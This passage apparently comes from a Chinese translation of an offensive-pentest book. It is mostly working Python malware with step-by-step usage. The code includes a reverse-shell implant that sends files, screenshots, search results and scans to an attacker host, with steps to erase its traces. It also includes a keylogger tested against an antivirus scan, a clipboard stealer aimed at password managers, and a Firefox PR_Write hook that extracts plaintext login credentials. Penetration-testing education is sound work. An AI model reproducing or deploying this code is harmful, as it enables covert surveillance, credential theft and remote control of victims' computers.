files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
elif 'screencap' in command: #If we got a screencap keyword, then ..
ImageGrab.grab().save("img.jpg", "JPEG")
url = 'http://10.0.2.15/store'
files = {'file': open("img.jpg", 'rb')}
r = requests.post(url, files=files) #Transfer the file over our HTTP
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )
time.sleep(3)
现在让我们尝试测试脚本。确保 HTTP 数据泄露服务器脚本在攻击者端运行。一旦我们看到Shell>,在攻击者端运行screencap,然后进入桌面,将文件扩展名更改为.jpeg,这样我们就能查看截图。如果我们去到目标机器,你会看到我们的screencap图像保存在与脚本相同的当前工作目录中。
现在,问题在于,这非常明显,表明有人在我们的 PC 上进行恶意活动。即使在传输完成后我们删除了图像,目标仍有可能发现我们。为了克服这一点,我们将使用操作系统的temp目录来创建一个临时目录,并将图像保存在其中。一旦传输完成,我们将删除整个目录。
Python 有一个内置库,使用操作系统的临时目录。让我们快速看一下。我们将进入命令提示符并打开 Python 交互模式,运行import tempfile。这个tempfile将处理创建temporary目录的任务。但在创建之前,先打开 Windows 的temp目录。运行print tempfile.mkdtemp,这将为我们创建一个临时目录并打印出所有目录名称。现在,为了删除这个临时目录,我们将使用另一个名为shutil的库。我们将导入它,并创建一个新的临时目录。
请注意,一旦我们执行此操作,将会在temp目录下创建一个新文件夹。现在,我们将通过运行shutil.rmtree(x)来删除它,因为变量x包含该temp文件夹的名称:

为了在脚本中反映这些更改,我们将返回并编辑目标脚本:
# Python For Offensive PenTest
# Screen Capturing
import requests
import subprocess
import os
import time
from PIL import ImageGrab # Used to Grab a screenshot
import tempfile # Used to Create a temp directory
import shutil # Used to Remove the temp directory
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
elif 'screencap' in command: #If we got a screencap keyword, then ...
dirpath = tempfile.mkdtemp() #Create a temp dir to store our screenshot file
ImageGrab.grab().save(dirpath + "\img.jpg", "JPEG") #Save the screencap in the temp dir
url = 'http://10.0.2.15/store'
files = {'file': open(dirpath + "\img.jpg", 'rb')}
r = requests.post(url, files=files) #Transfer the file over our HTTP
files['file'].close() #Once the file gets transferred, close the file.
shutil.rmtree(dirpath) #Remove the entire temp dir
...
首先,我们将创建一个temp目录,并将其路径存储在dirpath变量中。接下来,我们将告诉ImageGrab将screencap保存在新创建的temp目录中。同时,我们还会修改保存目录。我们还需要将这个更改反映到文件传输函数中,这样它才能知道图像文件的新路径。最后,一旦传输完成,我们必须确保文件被关闭,因为我们不能删除当前正在被应用程序或进程打开的文件。我们将删除整个目录。
尝试一下,确保没有留下任何痕迹。在temp目录中对img进行过滤,img是文件名或图像名称,然后像之前那样运行脚本,看看是否会有任何东西显示出来。一旦我们在攻击者机器上获得了Shell>,就运行screencap。当你在攻击者端截图后重命名,跳到目标端,看看是否有任何文件被创建。你会发现那儿什么也没有,因为我们在完成传输后删除了temp目录。
复制 Metasploit 搜索内容
接下来,我们将编写一个 Python 函数,它会在目标目录中搜索,并提供特定文件扩展名的文件位置列表。例如,假设我们需要在目标机器上搜索 PDF 或文档文件;我们不需要检查每个目录,而是将添加一个新函数来自动完成这个任务。这在你首次进入目标机器并尽可能多地探索数据(如文档、PDF 文件等)时非常有用。编写代码部分相当简单。我们将使用 Python 的os库来完成这个任务。所以,像往常一样,我添加了一个新的if语句来指定,如果我们获取到search关键字,我们将执行以下操作:
# Python For Offensive PenTest
# Searching for Content
import requests
import subprocess
import os
import time
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
elif 'search' in command: # The Formula is search <path>*.<file extension> , for example let's say that we got search C:\\*.pdf
# if we remove the first 7 character the output would C:\\*.pdf which is basically what we need
command = command[7:] # cut off the the first 7 character ,, output would be C:\\*.pdf
path,ext=command.split('*') # split C:\\*.pdf into two sections, the first section (C:\\) will be stored in path variable and
# the second variable (.pdf) will be stored in ext variable
list = '' # here we define a string where we will append our result on it
'''
os.walk is a function that will navigate ALL the directories specified in the provided path and returns three values:-
dirpath is a string contains the path to the directory
dirnames is a list of the names of the subdirectories in dirpath
files is a list of the files name in dirpath
Once we got the files list, we check each file (using for loop), if the file extension was matching what we are looking for, then
we add the directory path into list string. the os.path.join represents a path relative for our file to
the current directory and in our example it's the C:\\ directory
'''
for dirpath, dirname, files in os.walk(path):
for file in files:
if file.endswith(ext):
list = list + '\n' + os.path.join(dirpath, file)
requests.post(url='http://10.0.2.15', data= list ) # Send the search result
...
所以首先,我们将格式定义为search C:\\*.pdf。请注意,我们只关注第二部分,也就是我们要搜索的目录和文件扩展名。现在,为了清理received命令并将其拆分为参数,我们需要去掉前面七个字符;这样做是为了去掉不需要的搜索字符串和空格。现在,如果我们数一数前面七个字符,它将会包括C目录;完成这个操作后,输出会干净许多。接下来,我们将字符串拆分为路径和文件扩展名,并将它们存储在路径和扩展名变量中。所以第一个参数将是path,它将存储在路径变量中,第二个将存储在扩展名变量中。接下来,我们定义一个列表变量,这将是我们用来存储文件目录的占位符。现在,实际执行搜索的函数是os.walk(path)函数。这个函数将遍历提供的path目录中所有指定的目录,并返回三个值:dirpath,它是包含目录路径的字符串;dirname,它是dirpath中子目录名称的列表;最后是files,它是dirpath中所有文件名的列表。
接下来,我们执行另一个循环,检查files列表中的每个文件。如果文件的扩展名是我们想要的扩展名,例如.pdf,那么我们就将该目录值加入到列表字符串中。最终,os.path.join()函数表示相对于当前目录的文件路径,在我们的例子中是C:\目录。最后,我们将结果发送回攻击者端。
运行脚本时,作为开始,让我们通过运行以下命令搜索C:\目录中的所有 PDF 文件:
search C:\*.pdf
接下来,让我们尝试抓取Documents\Module 3.pdf:
grab*C:\Users\hkrais\Documents\Module 3.pdf
我们还可以搜索系统中的每个文本文件。应该会有一大堆文件:
search C:\*.txt
我们可以缩小搜索范围,仅在Desktop目录中进行搜索。
search C:\Users\hkrais\Desktop\.txt
然后我们在那儿有一个叫做passwords.txt的文件。尝试抓取它,并像在上一章一样验证它的内容。
目标目录导航
现在,我们将解决一个目录导航问题。现在,问题是浏览目录受到 shell 工作目录的限制。例如,如果目标已经在Desktop执行了我们的 Python 脚本,那么我们的工作目录就会是Desktop。由于 shell 的限制,我们不能简单地输入cd命令并切换到另一个目录。记住,我们学到的一些命令在 shell 中无法执行,cd就是其中之一。
一旦我们在两端运行之前的 TCP 反向 Shell,你会看到我们当前的工作目录是在 Desktop,也就是我们的 Python 脚本所在的地方。注意,当执行 cd 命令来更改当前工作目录到 C:\Users 时会发生什么。我们的脚本在尝试执行 cd C:\Users 命令时会变得没有响应,这是因为 Shell 未能正确处理 cd 命令。现在,为了解决这个问题,我们需要明确地告诉脚本改变它的工作目录。再次强调,这是因为我们的 Shell 工作目录被限制在 Python 脚本的工作目录中。
这里的公式是 cd 后跟空格,然后是我们想要进入的路径。接下来,我们将基于空格将接收到的命令拆分成两个变量。幸运的是,改变目录在 Python 中只需一行代码。最后,我们返回一个字符串,表示当前的工作目录:
# Python For Offensive PenTest
# Directory Navigation
import socket
import subprocess
import os
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else:
s.send('Unable to find out the file')
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
elif 'grab' in command:
grab,path = command.split('*')
try:
transfer(s,path)
except Exception,e:
s.send ( str(e) )
pass
elif 'cd' in command: # the forumula here is gonna be cd then space then the path that we want to go to, like cd C:\Users
code,directory = command.split (' ') # split up the received command based on space into two variables
os.chdir(directory) # changing the directory
s.send( "[+] CWD Is " + os.getcwd() ) # we send back a string mentioning the new CWD
...
一旦我们尝试了之前的脚本,在输入 cd C:\Users 后,你将能够看到我们是否已更改或移动到 Users 目录:
>>>
Shell> cd C:\Users
[+] CWD Is C:\Users
>>>
尝试导航到你想要 grab 的文件位置。你会注意到,一旦我们在与目标文件相同的目录中,我们就不再需要指定绝对路径。我们可以通过仅指定文件名来直接抓取文件,如下所示:
grab*Module 3.pdf
这将使我们能够获取 Kali 机器上的文件。
集成低级端口扫描器
在渗透测试中,有时你会遇到这样的场景:你的客户使用某种无法通过互联网访问的内部服务器。仅仅因为这个原因,他们认为这个服务器是安全的。在这一部分,我们将看到如何将一个简单的端口扫描器与我们的脚本集成,以防止可能的攻击。
通常,一旦你进入目标机器,你会开始寻找其他可能的目标。例如,如果我们能够访问机器 A,那么我们可以扩展攻击,扫描机器 B,查看该机器上正在运行的端口和服务。其他用途是让目标代表我们扫描在线服务器,以隐藏我们的活动。现在,让我们进入编码部分。我们将构建一个基本的低级扫描器。之所以称之为低级,是因为我们将使用内置的 socket 库,然后在此基础上进行扩展。发送扫描请求的公式或格式是 scan 后跟一个空格,然后是 IP 地址,接着是冒号,再然后是端口列表,例如 scan 10.0.2.15:22,80:
# Python For Offensive PenTest
#Low Level Port Scanner
import socket # For Building TCP Connection
import subprocess # To start the shell in the system
import os
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else: # the file doesn't exist
s.send('Unable to find out the file')
...
现在,首先要做的是去掉第一个字符,所以这部分内容将被移除。然后,我们将把右边的部分分为两部分。第一部分是我们要扫描的 IP 地址,并将其存储在ip变量中。第二部分是我们要检查访问状态的端口列表,这将保存在ports变量中。为了保持代码简洁,我们创建了一个名为 scanner 的函数来处理这些事情。所以,我们将socket对象、ip和ports变量传递给这个函数。
一旦获取到这些变量,我们将定义scan_result作为一个变量,用来存储我们的扫描结果。现在,请记住,端口是用逗号分隔的,例如:21, 22, 80, 443, 445。所以我们要做的是,遍历这些端口并尝试通过socket库与每个端口建立连接。请注意,我使用了connect_ex()函数,当操作成功时,该函数会返回0。在我们的案例中,操作成功了,这意味着连接已经建立,并且端口是开放的。否则,端口将是关闭的,或者主机根本无法访问。最后,我们将关闭套接字并重复整个过程,直到最后一个端口。
...
def scanner(s,ip,ports):
scan_result = '' # scan_result is a variable stores our scanning result
for port in ports.split(','): # remember the ports are separated by a comma in this format 21,22,..
try: # we will try to make a connection using socket library for EACH one of these ports
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
output = sock.connect_ex((ip, int(port) )) #connect_ex This function returns 0 if the operation succeeded, and in our case operation succeeded means that
#the connection happens which means the port is open otherwise the port could be closed or the host is unreachable in the first place.
if output == 0:
scan_result = scan_result + "[+] Port " +port+ " is opened" +'\n'
else:
scan_result = scan_result + "[-] Port " +port+" is closed or Host is not reachable" +'\n'
sock.close()
except Exception, e:
pass
s.send (scan_result) # finally we send the result back to our kali
...
所以我们将从端口22开始,直到达到最后一个端口。我们的扫描结果将存储在scan_result中,+符号用于追加结果。最后,我们将结果发送回我们的 Kali 机器。由于我们的 Kali 机器和目标在同一个虚拟子网中,我们应该出现在目标的arp表中。
让我们继续看其余的代码:
...
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True: # keep receiving commands from the Kali machine
command = s.recv(1024)
if 'terminate' in command:
s.close()
break # close the socket
elif 'grab' in command: # grab*C:\Users\Hussam\Desktop\photo.jpeg
grab,path = command.split('*')
try:
transfer(s,path)
except Exception,e:
s.send ( str(e) )
pass
elif 'scan' in command: # syntax: scan 10.0.2.15:22,80
command = command[5:] # cut off the leading first 5 char
ip,ports = command.split(':') # split the output into two sections where the first variable is the ip which we want to scan and the second variable is the list of ports
# that we want to check its status
scanner(s,ip,ports)
...
在两边运行我们的脚本时,我们会执行arp -a,这将显示我们 Kali 机器的 IP 地址:10.0.2.15。所以,作为概念验证,我们可以从目标端扫描我们的 Kali 机器,并运行 Wireshark 来确认扫描过程:
scan 10.0.2.15:21,23,80,443,445,137,138,8080
一旦我们运行 Wireshark 并过滤 TCP 流量,我们可以看到 TCP 会话的传输。在扫描结果中,我们可以看到端口8080是打开的,而其他端口都关闭:
>>>
[-] Port 21 is closed or Host is not reachable
[-] Port 23 is closed or Host is not reachable
[-] Port 80 is closed or Host is not reachable
[-] Port 443 is closed or Host is not reachable
[-] Port 445 is closed or Host is not reachable
[-] Port 137 is closed or Host is not reachable
[-] Port 139 is closed or Host is not reachable
[+] Port 8080 is opened
>>>
我们可以检查端口8080上的 TCP 三次握手过程。我们可以看到[SYN]、[SYN, ACK],然后是[ACK],这完成了三次握手;并且我们可以看到,目标在完成三次握手后,发送了一个[FIN]请求来关闭套接字,因为我们选择在扫描后关闭套接字。如果你还记得,在这里的代码中我们写了sock.close()。所以,[FIN]作为关闭套接字的指示符。
现在,为了再三确认,我们可以打开终端查看哪个进程正在使用端口8080:
netstat -antp | grep "8080"
我们会看到它是被另一个 Python 脚本打开的。但是如果我们对端口21做同样的操作,我们什么也得不到,因为该端口是关闭的。
做另一个测试:我们将使用netcat打开端口21:
ncat -lvp 21
然后,我会再次进行扫描,看看结果是否会发生变化。现在,我们正在监听21端口,因为它已经开放。所以,如果我们回到我们的 shell,再次重复相同的扫描;如果它有效,我们应该看到21端口是开放的。
总结
在这一章,我们学习了 DDNS 和支持 DDNS 的 shell。我们还学习了如何与 Twitter 进行交互,如何复制 Metasploit 的屏幕捕获功能,以及如何搜索内容并查看目标目录导航。最后,我们看到如何集成一个低级端口扫描器。
在下一章,我们将学习密码破解。
第三章:密码破解
大多数黑客认为他们的目标在运行过时且没有打补丁的 Windows XP,在这种系统上,防病毒软件已禁用,防火墙已关闭,可能也没有入侵防御系统。毕竟,你可能成功入侵他们的系统,也可能没有。这绝对不是现实世界中的渗透测试。
在本章中,我们将处理以下主题:
-
无病毒的键盘记录器
-
浏览器中的人
-
使用 Immunity Debugger 对 Firefox 进行 API 钩取
-
Firefox 中的 Python 概念验证(POC)
-
Firefox 中的 Python EXE
-
密码钓鱼
-
应对措施
无病毒的键盘记录器
在本节中,我们将编写一个简单的软件键盘记录器,完全使用 Python 来实现。为此,我们将使用一个名为pyHook的库。pyHook库封装了 Windows 中的低级鼠标和键盘钩子。根据pyHook文档,任何希望接收全局输入事件通知的应用程序都必须有一个 Windows 消息泵。为此,我们还需要另一个名为pywin的库。
那么,让我们开始安装这些库吧。
安装 pyHook 和 pywin
你可以从sourceforge.net/projects/pyhook/files/pyhook/1.5.1/下载pyHook库,并按照屏幕上的指示轻松安装。
确保后台没有运行其他 Python 实例,否则在安装过程中会遇到错误。pywin库也可以以相同的方式安装。你可以从sourceforge.net/projects/pywin32/files/pywin32/Build%20219/下载该库。
向键盘记录器添加代码
以下是键盘记录器的脚本:
# Python For Offensive PenTest
# pyHook download link
# http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
# pythoncom download link
# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
# Keylogger
import pythoncom, pyHook
#Again, once the user hit any keyboard button, keypressed func will be executed and that action will be store in event
def keypressed(event):
global store
#Enter and backspace are not handled properly that's why we hardcode their values to < Enter > and <BACK SPACE>
# note that we can know if the user input was enter or backspace based on their ASCII values
if event.Ascii==13:
keys=' < Enter > '
elif event.Ascii==8:
keys=' <BACK SPACE> '
else:
keys=chr(event.Ascii)
store = store + keys #at the end we append the ascii keys into store variable and finally write them in keylogs text file
fp=open("keylogs.txt","w")
fp.write(store)
fp.close()
return True # after intercepting the keyboard we have to return a True value otherwise we will simply disable the keyboard functionality
store = '' # string where we will store all the pressed keys
#Next we create and register a hook manager and once the user hit any keyboard button, keypressed
#func will be executed and that action will be store in event
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard() #start the hooking loop and pump out the messages
pythoncom.PumpMessages() #remember that per pyHook documentation we must have a Windows message pump
让我们来看看脚本中的步骤:
- 导入
pyHook和pythoncom库,如前面的脚本所示,import pythoncom, pyHook。
pyHook库将处理与 Windows 函数SetWindowsHookExA的低级通信。此函数将为我们安装一个钩子,以监控键盘事件。
-
导入
pythoncom库,它将为我们处理 Windows 消息泵。 -
定义一个字符串
store,这是我们将存储所有按下的键的地方。 -
创建并注册一个
HookManager。一旦用户按下任意键,keypressed()函数将被执行,且该操作将被存储在事件中。 -
启动钩子循环并提取消息。
请记住,根据pyHook文档,我们必须在这里有一个 Windows 消息泵。
- 由于
Enter和Backspace按钮未正确处理,我们需要静态配置它们的值。
请记住,我们可以通过它们的 ASCII 值来判断用户输入的是Enter还是Backspace。
-
将 ASCII 键值追加到
store变量中,最后将它们写入keylogs.txt文件。我们可以选择追加数据和文本文件,而不是覆盖它们,但建议使用写入技术而不是追加操作,以确保更高的稳定性。 -
在拦截键盘事件后,我们需要返回一个
True值;否则,我们将禁用键盘功能。
那么,让我们通过运行该模块做一个快速测试。我们将创建一个新的文本文件来进行测试。输入错误信息:Error! Hyperlink reference not valid.
keylogger test
hello from python
在输入上述内容时,记得在每行之间使用 Backspace。请注意,我们将在创建的 keylogs 文件中获取到我们的键盘日志。它看起来会像下面这样:
keyloffe <BACK SPACE> <BACK SPACE> <BACK SPACE> gger test <Enter> hello from python
由于我们按下了 Backspace,你可以看到在 keylogs 中记录了 BACK SPACE。
现在,终止 keylogger 并删除 keylogs 和 New Text Document 文件。复制 keylogger 文件的名称,以便我们可以通过 py2exe 的安装文件将其导出为 EXE 格式。然后,你可以运行该模块,keylogger EXE 文件将会创建。现在,让我们使用 AVG 防病毒软件快速扫描名为 keylogger 的 .exe 文件,看看是否有该 EXE 文件的签名。如果显示“未检测到威胁”,则运行该 EXE 格式的键盘记录器。接下来,登录到你的 Facebook 账户,注意到一旦我们按下键盘上的任意一个键,都会出现在 keylogs.txt 文件中。输入你的电子邮件地址和密码打开 Facebook 页面,并打开 keylogs.txt 文件。你可以看到你的密码和电子邮件地址。
请记住,你必须手动终止 keylogger 进程。另外,keylogs 文件位于与我们的二进制文件相同的目录下。
在下一节中,我们将看到如何增强我们的键盘记录器功能。
劫持 KeePass 密码管理器
如果你曾经和网络工程师或系统管理员一起工作过,尤其是他们操作多个设备时,那么你很可能接触过密码管理器,因为对他们来说,记住每个密码几乎是不可能的。通常,他们使用密码管理器来安全存储设备凭据。
在本节中,我们将使用一个非常常见的跨平台软件 KeePass,看看如何借助该软件劫持密码。你可以从 keepass.info/download.html 下载并安装该软件。安装后:
-
通过点击新建图标来创建一个
NewDatabase。 -
定义主密码并点击 OK。
-
接下来,点击 eMail 并通过右键点击选择 “添加条目...” 为
gmail账户创建一个新账户或新条目。 -
现在,让我们为 PayPal 账户创建一个新条目。点击 Homebanking,然后右键点击并选择 “添加条目...” 选项。
-
那么,让我们登录并看看是否能够使用密码管理器进行登录。我们前往
accounts.google.com,这是登录页面。对于密码管理器,您需要从数据库中复制并粘贴用户名和密码到登录页面。请注意,在这种情况下,键盘记录器将无法工作,因为密码是复制到剪贴板中的,这只是一个复制和粘贴的过程,不涉及触摸键盘。 -
现在,请退出您的账户。
-
在 Python 中,要与剪贴板进行交互,您需要一个名为
pyperclip的库,您可以从pypi.python.org/pypi/pyperclip/1.5.11下载。 -
安装
pyperclip库非常简单。我们只需要将库文件复制并粘贴到site-packages文件夹中。
如果在使用安装文件时遇到问题,请手动操作。
目录是Python27/Lib,然后是site-packages。文件现在已安装。
-
接下来,进入
password manager文件夹并打开文件查看代码。 -
我们从导入库开始:
import pyperclip
import time
- 接着,我们创建一个
list,用来存储剪贴板内容:
list = []
- 之后,我们将进入一个无限循环,不断检查剪贴板:
while True: # infifnite loop to continously check the clipboard
if pyperclip.paste() != 'None': # if the clipboard content is not empty ...
value = pyperclip.paste() # then we will take its value and put it into variable called value
#print pyperclip.paste()
if value not in list: #now to make sure that we don't get replicated items in our list before appending the value variable into our list
#we gonna check if the value is stored earlier in the first place, if not then this means this is a new item
#and we will append it to our list
list.append(value)
print list
time.sleep(3)
如果剪贴板内容不为空(这里,空表示None),那么我们将获取它的值,并将其存储在一个名为value的变量中。为了确保list中不会出现重复项,在将value变量追加到list之前,我们会检查该值是否已经存在。如果没有,那么意味着这是一个新项,我们将存储它。最后,我们会打印出结果,或者您可以将其保存到文本文件中。然后,我们将休眠3秒,再次检查剪贴板的状态。
-
现在,让我们运行脚本并重复整个过程一次。
-
让我们看看当我们复制 Gmail 账户的用户名和密码时会发生什么。一旦它被复制到剪贴板,我们的脚本会立即获取剪贴板的值并将其打印出来。
-
让我们试试我们保存的 PayPal 账户。一旦我们复制,就能看到之前输入的随机密码。
这就是密码管理器的工作原理。
浏览器中的中间人攻击
在本节中,我们将讨论一种新方法。正如您可能已经知道的那样,所有浏览器在您提交数据到登录页面时,都提供保存用户名和密码的功能。下次访问同一登录页面时,您会看到您的用户名和密码会自动填充,无需输入任何字符。此外,还有一些专用的第三方软件,如LastPass,也可以为您完成相同的工作。这里的关键是,如果目标用户使用这种方法登录,那么无论是键盘记录器还是剪贴板方法都无法奏效。
快速看一下。我们将在 Firefox 浏览器中使用 LastPass 插件。在这里打开浏览器并访问 Gmail 账户。在登录 Gmail 账户之前,我们将使用之前的剪贴板脚本:
# Python For Offensive PenTest
# Download Link https://pypi.python.org/pypi/pyperclip/1.5.11
# Clipboard Hijacking
import pyperclip
import time
list = [] # we create a list which will store the clipboard content
while True: # infinite loop to continuously check the clipboard
if pyperclip.paste() != 'None': # if the clipboard content is not empty ...
value = pyperclip.paste() # then we will take its value and put it into variable called value
#print pyperclip.paste()
if value not in list: #now to make sure that we don't get replicated items in our list before appending the value variable into our list
#we gonna check if the value is stored earlier in the first place, if not then this means this is a new item
#and we will append it to our list
list.append(value)
print list
time.sleep(3)
运行脚本,然后使用 LastPass 登录 Gmail 账户。你会注意到 LastPass 已经自动填入了电子邮件和密码。
成功登录后,你会注意到剪贴板脚本在这里没捕捉到任何内容。现在我们从 Gmail 账户退出。
针对这一点,黑客们创造了一种新的攻击方式,称为浏览器中人攻击,以克服这个困境。简而言之,浏览器中人攻击拦截浏览器的 API 调用,并在数据以明文形式出现时提取数据,避免数据进入网络套接字并进行 SSL 加密。
Firefox 进程
我们现在将调试并进入 Firefox 进程。然后,我们将拦截 DLL 模块中特定函数的 API 调用:

这是 DLL,我们将在 DLL 中对特定函数进行拦截。之后,我们将提取数据并继续流程。总结起来,执行的步骤如下:
-
获取浏览器进程的进程 ID。
-
将我们的调试器附加到此进程 ID。
-
指定我们想要拦截的 DLL 库,以及 DLL 中的函数名称。请记住,我们需要知道函数的内存地址,以便在拦截后继续流程。
-
设置一个断点并注册一个
callback函数。 -
在
callback函数中,我们将以明文形式打印出内存中的敏感数据。 -
使用调试循环等待调试事件。
-
一旦发生调试事件,执行
callback函数。 -
执行
callback函数后,我们将返回到原始进程继续正常流程。
在接下来的两个部分中,我们将看到这些步骤的实际操作。比看起来要简单得多。
使用 Immunity Debugger 进行 Firefox API 钩取
Firefox 使用一个名为PR_Write的函数将数据写入 TCP 套接字。这个函数位于一个名为nss3.dll的 DLL 模块中。为了演示,我们需要准备一个 Twitter 账户。创建该账户并登录后,退出账户,然后再登录。由于我们使用 LastPass,登录凭据已经由 LastPass 自动填写。点击登录按钮后,幕后会发生什么?

在后台,Firefox 将加载nss3.dll库并调用PR_Write函数以提交数据(登录 ID 和密码)。一旦 Firefox 执行这些步骤,我们将设置一个断点并拦截流量。让我们从debugger.immunityinc.com/ID_register.py安装Immunity Debugger软件开始。安装过程相当简单。Immunity Debugger 将获取浏览器进程的进程 ID,并直接附加调试器到该 PID。我们只需从文件 | 附加菜单中选择要附加的 Firefox 进程列表中的进程即可。默认情况下,Immunity Debugger 会解析进程 ID 并为我们附加。接下来的操作是指定 DLL 库和函数名称,即nss3.dll和PR_Write。为此,只需进入视图 | 可执行模块,查看“名称”字段来搜索正确的 DLL。右键单击高亮的 DLL,然后选择查看名称。滚动查找直到找到PR_Write函数。
所以,到这里,我们已经完成了前一部分关于Firefox 进程的前四个步骤。
由于我们使用 Immunity Debugger 手动进行钩子操作,因此不需要指定callback函数。
要设置断点,只需按键盘上的F2或右键点击并指定切换断点。完成后,点击播放按钮几次。
现在再次打开 Firefox 窗口。注意,每当我们达到断点时,位于 Immunity Debugger 屏幕底部的任务管理器会通知我们。执行也会被暂停。你可以看到暂停的窗口,除非我们手动再次点击播放按钮,否则它将保持暂停状态。现在点击登录按钮。要查看内存内容,只需右键点击并选择地址 | 相对于 ESP 寄存器,这就是堆栈指针。然后只需多次点击播放按钮。右键单击其中一个 ESP 寄存器并选择“跟踪转储”,以便我们可以在此看到内存转储。再次需要多次点击播放按钮。再次右键单击并选择“跟踪转储”。经过几次点击后,我们将首先将内存转储复制到新文本文件中,然后终止调试器。你会看到与我们登录 Twitter 账户时使用的相同的用户名和密码。用户名/邮箱是bigtasty@gmail.com。我们可以看到一些十六进制字符,我们需要将其转换回 ASCII。我们可以通过查看 ASCII 码表来完成此操作。
下面是我们获得的邮件和密码:
mail%5D= bigtasty321%40gmail.com
password%5D= %58123justyouandme%5D
我们将从电子邮件地址开始。注意,十六进制的40在 ASCII 中代表@。因此,我们得到了bigtasty通过321@gmail。对于密码,58代表左括号[,5D代表右括号]。因此,我们的用户名和密码将如下所示:
mail%5D= bigtasty321@gmail.com
password%5D= [123justyouandme]
现在,我们将尝试使用我们刚刚弄清楚的信息登录 Twitter 帐号。访问 Twitter 登录页面,复制用户名和密码,你会看到你可以成功登录。
请记住,这一切只是手动方法的介绍,它只是为下一节做铺垫。在下一节中,我们将展示如何通过 Python 脚本得到相同的结果。
Firefox 中的 Python 概念验证(PoC)
在本节中,我们将编写一个 Python 脚本,自动化我们使用 Immunity Debugger 所做的相同步骤。为此,我们将使用一个名为 winappdbg 的 Python 库,来自动化调试 Firefox 进程。所以,让我们首先安装这个库。你可以从winappdbg.sourceforge.net/下载这个库。
我们之前在 Firefox 进程部分提到的步骤可以被转换为代码。我们来一步步实现:
- 首先,我们需要获取进程 ID,然后将其附加到调试器。实现这一操作的 Python 代码如下:
...
debug = Debug(MyEventHandler()) # Create a debug object instance
try:
for ( process, name ) in debug.system.find_processes_by_filename( "firefox.exe" ): # Search for Firefox.exe process, if found
print '[+] Found Firefox PID is ' + str (process.get_pid()) # Grab the Process ID (PID)
debug.attach( process.get_pid() ) # Attach to the process.
debug.loop()
...
如你所见,首先我们搜索 Firefox 进程,然后检索其进程 ID。接着,我们将进程 ID 附加到调试器,并将一个名为 MyEventHandler 的类传递给 debug 函数。
- 在
MyEventHandler类中,我们指定了要拦截的 DLL 库及其函数名,并将解析其内存地址。我们来看看代码:
...
class MyEventHandler( EventHandler ):
def load_dll( self, event ):
module = event.get_module() # Get the module object
if module.match_name("nss3.dll"): # If it's nss3.dll ,then
pid = event.get_pid() # Get the process ID
address = module.resolve( "PR_Write" ) # Get the address of PR_Write
print '[+] Found PR_Write at addr ' + str(address)
event.debug.hook_function( pid, address, preCB=PR_Write, postCB=None ,paramCount=3,signature=None)
...
你可以看到 DLL 名称 nss3.dll 和函数名 PR_Write。我们已经解析了该函数的内存地址。然后我们设置了断点,并注册了 callback 函数。注意,我们需要向 callback 函数传递一些强制信息,比如进程 ID 和解析出来的函数内存地址。你可以看到 pid 和 address。注意我们将 callback 函数命名为 PR_Write。当断点发生时,应该将 3 个参数传递给 callback 函数。那么问题来了:这 3 个参数是什么?我如何知道它们的数量呢?这些问题的答案来自于 Mozilla Firefox 的开发者。
- 如果我们打开
developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR/Reference/PR_Write链接,我们将获得更多关于 PR 函数参数的详细信息。
PR_Write 是函数名,作用是将数据缓冲区写入文件或套接字。你还可以看到函数参数,如 *fd、*buf 和 amount。如果你还记得,在 Immunity Debugger 中,每当我们得到断点并进入 PR_ function 时,我们都会追踪内存内容。
这里,第二个参数 buf 将给我们一个指向提交数据的内存地址的指针;在我们的例子中,我们正在寻找的是用户名和密码。因此,我们所需要做的就是解析该指针的内存地址。现在,让我们在代码中体现这一点:
def PR_Write(event, ra, arg1, arg2, arg3):
您可以看到三个参数分别是 arg1、arg2 和 arg3;我们已经提到过 paramCount=3。我们将它们传递给我们的 callback 函数。如前所述,我们主要关注第二个参数,它是内存指针。
- 我们需要做的最后一步是读取该指针内存地址的前 1 KB,这段代码将为我们完成此任务:
print process.read(arg2,1024)
参数 2 包含参数 2,它是内存指针,我们将读取该地址的前 1 KB。
所以,此时我们已经完成了 Firefox 流程部分中提到的其余步骤,执行了 callback 函数并打印了内存转储。
调试何时会处理完成正常流程?在前一部分,我们使用 Immunity Debugger 进行了尝试,操作的是 Twitter 账户。现在让我们尝试使用 PayPal 账户:
-
访问 PayPal 登录页面并尝试获取登录信息。
-
运行脚本。一旦我登录,注意观察我们得到的输出。
-
如果我们输入错误的凭证,PayPal 会给我们发送一个错误信息。
-
中断脚本并将输出导出到文本文件中。为此,请前往 文件 | 另存为...,以文本格式保存文件。在文本文件中搜索用户名。如果仔细观察,您将看到我们得到了登录的电子邮件 ID 以及登录密码,而且这两个信息都是明文显示的。现在,让我们验证这些是否与 LastPass 中存储的凭证相同。
-
